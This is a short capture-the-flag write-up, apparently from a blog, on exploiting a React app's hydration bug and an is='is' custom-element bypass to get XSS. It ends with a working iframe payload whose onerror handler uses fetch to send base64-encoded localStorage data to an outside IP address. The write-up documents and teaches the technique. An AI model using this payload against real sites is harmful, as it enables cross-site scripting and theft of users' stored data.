Exploiting a react app by customElement and is=is
pollution
- There is a bug with the hydration, so we can pollute prop of the
<img>
tag. - Error message is triggered when the
window.width < 600
. Interestingly,location.hash
fills theprops
upon displaying the error message. - When the error message is shown and you try to resize your
window.width > 600
,<img>
is shown again. - Since there is a dehydration bug, prop gets filled with the existing
location.hash
, making it possible to add additional attributes on the<img>
tag. - However,
onerror
and other dangerous attributes are filtered by React, we need to find a way to bypass props check. - Here comes the way to exploit
- is="is" on the props bypasses the customElement checks
- so we use that and use onerror to leak
localStorage.username
, which contains the flag
- The last remaining problem is about setting the size of the
window.width
of the cross-origin frame. Because the server is not in the same origin (http://localhost:4000/ != http://stypr.com/
), we cannot just modify this information by javascript.- So we use <iframe> tag and change CSS to force the resize
localStorage
is not under the cookie's security scope, so there's no problem about leaking information from the localStorage.
- So we use <iframe> tag and change CSS to force the resize
<iframe src="http://localhost:4000/drawing/test#width=123&height=123&is=is&onerror=fetch(`http://158.101.144.10/xss?${btoa(localStorage.username)}`);&src=http://158.101.144.10/error.png" style="width:300px;" id="exploit"></iframe>
<script>
setTimeout(() => {
exploit.style.width=800;
}, 1000);
</script>